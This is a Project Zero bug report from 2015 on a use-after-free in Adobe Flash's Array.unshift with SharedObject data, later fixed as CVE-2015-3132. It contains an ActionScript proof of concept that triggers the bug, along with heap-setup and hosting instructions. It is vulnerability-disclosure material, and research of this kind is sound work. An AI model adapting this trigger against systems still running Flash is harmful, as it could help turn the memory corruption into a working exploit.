New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 2 users
Status: Fixed
Owner:
Email to this user bounced
Closed: Jul 2015
Cc:



Sign in to add a comment
Adobe Flash: Use-after-free in Array.unshift
Project Member Reported by natashenka@google.com, May 6 2015 Back to list
In certain cases when an array unshift is performed, it can lead to a use-after-free if the array is a SharedObject.

A proof of concept is as follows:


var s = SharedObject.getLocal("test");

ASSetPropFlags(s, null, 0, 0xff);
ASSetPropFlags(s.data, null, 0, 0xff);
var q = {myprop  :"natalie", myprop2 : "test"};
s.data[0] = q;
s.data.length = 0;
trace(s.data[0]);
s.flush();
var a = [];

trace(s.data.length);
a.unshift.call(s.data, "test");

trace(s.data[0]);
s = 1;
var a = [];
var c = [];
for(i = 0; i < 200; i++){
	
	var b = new flash.display.BitmapData(1000, 1000, true, 10);
}

setInterval(f, 1000);

function f(){
	
	trace(x);
	ASnative(252, 1).call(q); //Array push
	
	}


A fla, an AS file and two swfs are attached. unshift.fla compiles to unshift.swf and contains the code that causes the use-after-free. loadswf.as compiles to loadswf.swf, and sets up the heap to cause a crash. To make the issue occur, put loadswf.swf and unshift.swf in the same folder on a webserver (the PoCs don't always work locally due to flash network sandboxing), and load loadswf.swf. This PoC only works on 64-bit systems, but the issue would work on a 32-bit system with proper heap set-up

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
 
unshift.swf
1.2 KB Download
loadswf.swf
1.5 KB Download
loadswf.as
1.9 KB Download
unshift.fla
5.9 KB Download
Project Member Comment 1 by natashenka@google.com, May 8 2015
This is PSIRT-3661
Comment 2 by cevans@google.com, Jul 5 2015
Labels: CVE-2015-3132
Comment 3 by cevans@google.com, Jul 9 2015
Labels: Fixed-2015-Jul-8
Status: Fixed
Fixed: https://helpx.adobe.com/security/products/flash-player/apsb15-16.html
Project Member Comment 4 by natashenka@google.com, Aug 3 2015
Labels: -Restrict-View-Commit
Sign in to add a comment